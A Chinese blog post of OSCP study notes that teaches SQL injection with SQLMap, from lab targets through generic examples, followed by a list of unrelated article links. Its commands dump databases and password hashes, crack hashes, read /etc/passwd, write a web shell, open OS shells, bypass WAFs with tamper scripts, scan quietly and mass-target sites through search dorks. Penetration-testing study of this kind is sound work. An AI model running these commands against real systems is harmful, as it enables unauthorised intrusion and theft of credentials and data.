当前位置: 首页 > news >正文

5-6〔OSCP ◈ 研记〕❘ SQL注入攻击▸自动化工具SQLMap

     郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥 
    更多文章戳👉
Whoami!-CSDN博客🚀

​​​​​​​​​​​


𖤐 让我们开启SQL注入的新世界吧,走起 ! 

𖤐 𝓛𝓮𝓽'𝓼 𝓸𝓹𝓮𝓷 𝓾𝓹 𝓪 𝓷𝓮𝔀 𝔀𝓸𝓻𝓵𝓭 𝓸𝓯 𝓢𝓠𝓛 𝓲𝓷𝓳𝓮𝓬𝓽𝓲𝓸𝓷,𝓱𝓮𝓻𝓮 𝔀𝓮 𝓰𝓸 ! 


→ 信息收集

→ 漏洞检测

→ 初始立足点

→ 权限提升 ▸SQL注入攻击▸自动化工具SQLMAP-----我们在这儿~ 🔥🔥🔥

→ 横向移动

→ 报告/分析

→ 教训/修复  


目录

1.SQL注入攻击

1.1 自动化攻击工具SQLMap

1.1.1 基础漏洞检测

1.1.2 数据导出功能 (--dump)

1.1.3 交互式Shell获取 (--os-shell)

1.1.3.1 捕获请求

1.1.3.2 获取Shell

以下是扩展内容:

1.1.4 基础检测命令

1.1.4.1 基本URL检测

1.1.4.2 指定参数检测

1.1.4.3 从文件读取请求

1.1.5 数据库信息获取

1.1.5.1 获取数据库基本信息

1.1.5.2 枚举数据库结构

1.1.6 数据提取命令

1.1.6.1 提取特定数据

1.1.6.2 哈希提取和解密

1.1.7 文件&系统操作命令

1.1.7.1 文件系统操作

1.1.7.2 操作系统命令执行

1.1.7.3 注册表操作 (Windows)

1.1.8 性能优化命令

1.1.8.1 线程和延迟控制

1.1.8.2 风险级别和测试强度

1.1.9 高级技术命令

1.1.9.1 绕过WAF防护

1.1.9.2 自定义注入技术

1.1.9.3 代理和日志设置

1.2 实用组合命令

1.2.1 完整渗透测试流程

1.2.2 隐蔽扫描模式

1.2.3 批量目标扫描

1.2.4 常用参数速查表

1.3 重要注意事项和专业建议

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬


1.SQL注入攻击

1.1 自动化攻击工具SQLMap

      SQLMap是Kali Linux中预装的自动化SQL注入工具,能够自动识别和利用多种数据库引擎的SQL注入漏洞。正常情况下,SQLMap用法多,这里仅抛砖引玉。本文在上述的Web应用程序(http://192.168.50.19/blindsqli.php)上运行sqlmap作为示例。

1.1.1 基础漏洞检测

# 基本语法
$ sqlmap -u [目标URL] -p [参数名]
# 实际示例
$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user

​​

🔍 检测结果包含:

  • 漏洞类型确认(基于时间的SQL盲注)

  • Web服务器操作系统指纹

  • Web应用技术栈信息

  • 后端数据库类型信息

⚠️ 隐蔽性警告: SQLMap会产生高流量特征,在需要隐蔽性的场景中不推荐使用


1.1.2 数据导出功能 (--dump)

# 导出完整数据库
$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump
功能说明输出内容
--dump

在SQL 注入漏洞被确认后,自动从数据库中提取(dump)所有的数据。

用户凭证、哈希值、敏感信息等

​​

​​

📊 攻击特点:

  • 基于时间的盲注场景下提取速度较慢

  • 最终能成功获取所有用户哈希凭据

  • 适用于完整数据窃取场景


1.1.3 交互式Shell获取 (--os-shell)

        SQLMap的另一个核心功能是--os-shell参数,它为我们提供一个完整的交互式shell。基于时间的盲注SQLi由于通常具有较高的延迟,因此在与shell交互时并不理想。我们将使用第一个基于UNION的SQLi示例(http://192.168.50.16/search.php

1.1.3.1 捕获请求

攻击流程

​​

通过Burp拦截POST请求并将以下内容以post.txt文件保存在我们Kali上的本地文本文件。

​​

1.1.3.2 获取Shell
# 获取交互式Shell命令
$ sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp"

参数解析表

参数作用示例值重要性
-r读取请求文件post.txt⭐⭐⭐⭐⭐
-p指定测试参数item⭐⭐⭐⭐⭐
--os-shell获取系统Shell-⭐⭐⭐⭐⭐
--web-root指定Web根目录/var/www/html/tmp⭐⭐⭐⭐

本例子中,/var/www/html/tmp 是Web 服务器的根目录路径,sqlmap 会尝试在该目录下执行操作,比如上传Web shell等。​ 工作原理

  •  漏洞确认 → SQLMap检测并确认SQL注入漏洞

  • 语言识别 → 自动识别应用编程语言(如PHP)

  • WebShell上传 → 将WebShell上传至指定Web目录

  • Shell建立 → 返回完整的交互式系统Shell 

🎯 最佳实践

  • 避免在基于时间的盲注中使用 → 延迟过高影响交互体验

  • 推荐在UNION型注入点使用 → 响应快速,交互流畅

  • 明确Web根目录 → 确保WebShell正确上传和执行


以下是扩展内容:

        以下内容为扩展内容。这些命令覆盖了SQLMap的主要功能场景,根据实际测试需求灵活组合使用即可达到最佳效果。

1.1.4 基础检测命令

1.1.4.1 基本URL检测
sqlmap -u "http://example.com/page.php?id=1"

📝 说明: 对指定URL进行自动SQL注入检测,sqlmap会自动识别参数并测试。

1.1.4.2 指定参数检测
sqlmap -u "http://example.com/page.php?id=1&cat=2" -p "id,cat"

📝 说明: 只针对指定的参数进行注入测试,提高检测效率。

1.1.4.3 从文件读取请求
sqlmap -r request.txt

📝 说明: 从Burp Suite等工具保存的请求文件中读取并分析,特别适合POST请求。


1.1.5 数据库信息获取

1.1.5.1 获取数据库基本信息
sqlmap -u "http://example.com/page.php?id=1" --banner --current-user --current-db
参数功能输出示例
--banner数据库版本信息MySQL 5.7.34
--current-user当前数据库用户root@localhost
--current-db当前数据库名webapp_db
1.1.5.2 枚举数据库结构
# 列出所有数据库
sqlmap -u "http://example.com/page.php?id=1" --dbs
# 列出指定数据库的所有表
sqlmap -u "http://example.com/page.php?id=1" -D webapp_db --tables
# 列出指定表的所有列
sqlmap -u "http://example.com/page.php?id=1" -D webapp_db -T users --columns

1.1.6 数据提取命令

1.1.6.1 提取特定数据
# 提取整个表
sqlmap -u "http://example.com/page.php?id=1" -D webapp_db -T users --dump
# 提取特定列
sqlmap -u "http://example.com/page.php?id=1" -D webapp_db -T users -C "username,password" --dump
# 提取指定行数
sqlmap -u "http://example.com/page.php?id=1" -D webapp_db -T users --dump --start 1 --stop 100
1.1.6.2 哈希提取和解密
# 提取用户密码哈希
sqlmap -u "http://example.com/page.php?id=1" --passwords
# 自动破解哈希
sqlmap -u "http://example.com/page.php?id=1" --passwords --crack

1.1.7 文件&系统操作命令

1.1.7.1 文件系统操作
# 读取服务器文件
sqlmap -u "http://example.com/page.php?id=1" --file-read "/etc/passwd"
# 写入文件到服务器
sqlmap -u "http://example.com/page.php?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
1.1.7.2 操作系统命令执行
# 获取操作系统Shell
sqlmap -u "http://example.com/page.php?id=1" --os-shell
# 执行单条系统命令
sqlmap -u "http://example.com/page.php?id=1" --os-cmd "whoami"
1.1.7.3 注册表操作 (Windows)
# 读取注册表键值
sqlmap -u "http://example.com/page.php?id=1" --reg-read
# 写入注册表
sqlmap -u "http://example.com/page.php?id=1" --reg-add

1.1.8 性能优化命令

1.1.8.1 线程和延迟控制
# 多线程检测
sqlmap -u "http://example.com/page.php?id=1" --threads 10
# 设置请求延迟
sqlmap -u "http://example.com/page.php?id=1" --delay 2
# 设置超时时间
sqlmap -u "http://example.com/page.php?id=1" --timeout 30
1.1.8.2 风险级别和测试强度
# 风险级别 (1-3)
sqlmap -u "http://example.com/page.php?id=1" --risk 3
# 测试强度 (1-5)
sqlmap -u "http://example.com/page.php?id=1" --level 5

📊 级别说明表:

级别测试强度检测深度时间消耗
1基础测试
3标准测试中等
5完整测试

1.1.9 高级技术命令

1.1.9.1 绕过WAF防护
# 使用编码技术绕过WAF
sqlmap -u "http://example.com/page.php?id=1" --tamper "space2comment,charencode"
# 常用tamper脚本
sqlmap -u "http://example.com/page.php?id=1" --tamper "between,randomcase,space2comment"
1.1.9.2 自定义注入技术
# 指定注入技术
sqlmap -u "http://example.com/page.php?id=1" --technique "B"
# 技术代码说明:
# B: Boolean-based blind (布尔型盲注)
# E: Error-based (报错注入)
# U: Union query-based (联合查询注入)
# S: Stacked queries (堆叠查询)
# T: Time-based blind (时间型盲注)
# Q: Inline queries (内联查询)
1.1.9.3 代理和日志设置
# 使用代理
sqlmap -u "http://example.com/page.php?id=1" --proxy "http://127.0.0.1:8080"
# 详细日志输出
sqlmap -u "http://example.com/page.php?id=1" -v 3
# 保存结果到文件
sqlmap -u "http://example.com/page.php?id=1" --save "output.txt"

1.2 实用组合命令

1.2.1 完整渗透测试流程

# 完整数据库渗透
sqlmap -u "http://example.com/page.php?id=1" \--banner --current-user --current-db \--dbs --tables --columns \--dump-all \--os-shell

1.2.2 隐蔽扫描模式

# 低调扫描组合
sqlmap -u "http://example.com/page.php?id=1" \--delay 5 \--threads 3 \--level 2 \--risk 1 \--proxy "http://127.0.0.1:8080"

1.2.3 批量目标扫描

# 从文件读取多个目标
sqlmap -m targets.txt# 从Google搜索结果扫描
sqlmap -g "inurl:.php?id=1 site:example.com"

1.2.4 常用参数速查表

类别常用命令功能说明
信息收集--banner --current-db基础信息获取
数据枚举--dbs --tables --columns数据库结构枚举
数据提取--dump --dump-all数据导出
系统访问--os-shell --file-read系统权限获取
性能优化--threads --delay扫描速度控制
隐蔽性--tamper --proxyWAF绕过和隐蔽

1.3 重要注意事项和专业建议

  • 法律合规: 仅在授权测试中使用

  • 风险评估: 高risk/level可能影响服务可用性

  • 隐蔽性: 生产环境慎用,易触发安全警报

  • 备份: 重要操作前做好数据备份

  • 监控: 实时监控扫描过程和结果

💡 专业建议

  • 从低级别开始: 先用level 2, risk1测试

  • 使用代理: 通过Burp Suite观察请求

  • 保存会话: 使用--save保存进度

  • 分阶段测试: 信息收集 → 漏洞确认 → 数据提取 → 权限提升

以上命令覆盖了SQLMap的主要功能场景,根据实际测试需求灵活组合使用即可达到最佳效果。


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

http://www.dtcms.com/a/515648.html

相关文章:

  • Linux进程间通信:深入解析PV操作及其同步机制
  • Servlet 实例详解
  • 个人备案网站盈利动画制作网页
  • 网站建设饱和了吗上海市建设市场信息服务平台
  • 个人备案域名做企业网站wow slider wordpress
  • 【OPENGL ES 3.0 学习笔记】第九天:缓存、顶点和顶点数组
  • 2510rs,rust,1.85
  • 深度学习(13)-PyTorch 数据转换
  • rocketmq实现取消超时订单?兜底方案?
  • Linux如何安装使用Rust指南
  • 田块处方图可视化(PyQt5)
  • Rust算法复杂度-大O分析
  • 2510rs,rust清单4
  • 大型网站开发考试移动商城的推广方法
  • FastAPI之 自动化的文档
  • 日常开发20251022,传统HTML表格实现图片+视频+预览
  • 标题:鸿蒙Next音频开发新篇章:深入解析Audio Kit(音频服务)
  • 湖滨区建设局网站app开发公司排行榜做软件的公司
  • UDP实现客服与客户的咨询对话
  • 学习HAL库STM32F103C8T6(实时时钟项目、WIFI天气预报项目)
  • npm、yarn、pnpm的对比和优略
  • 离散卷积,小demo(小波信号分析)
  • Java 大视界 -- Java 大数据在智能教育学习社区互动模式创新与用户活跃度提升中的应用(426)
  • 建设比较好网站服务器用来做网站和数据库
  • C# iText7与iTextSharp导出PDF对比
  • HARDWARE 属性的Bitmap与普通Bitmap,GPU与RenderThread渲染与处理方式异同比较,Android
  • 东营市做网站的公司h5学习教程
  • 不同类型的金融产品(如股票、期货、加密货币)双时间尺度优化的差异化调整
  • xtuoj Repeat One
  • ENSP Pro Lab笔记:配置STP/RSTP/MSTP(3)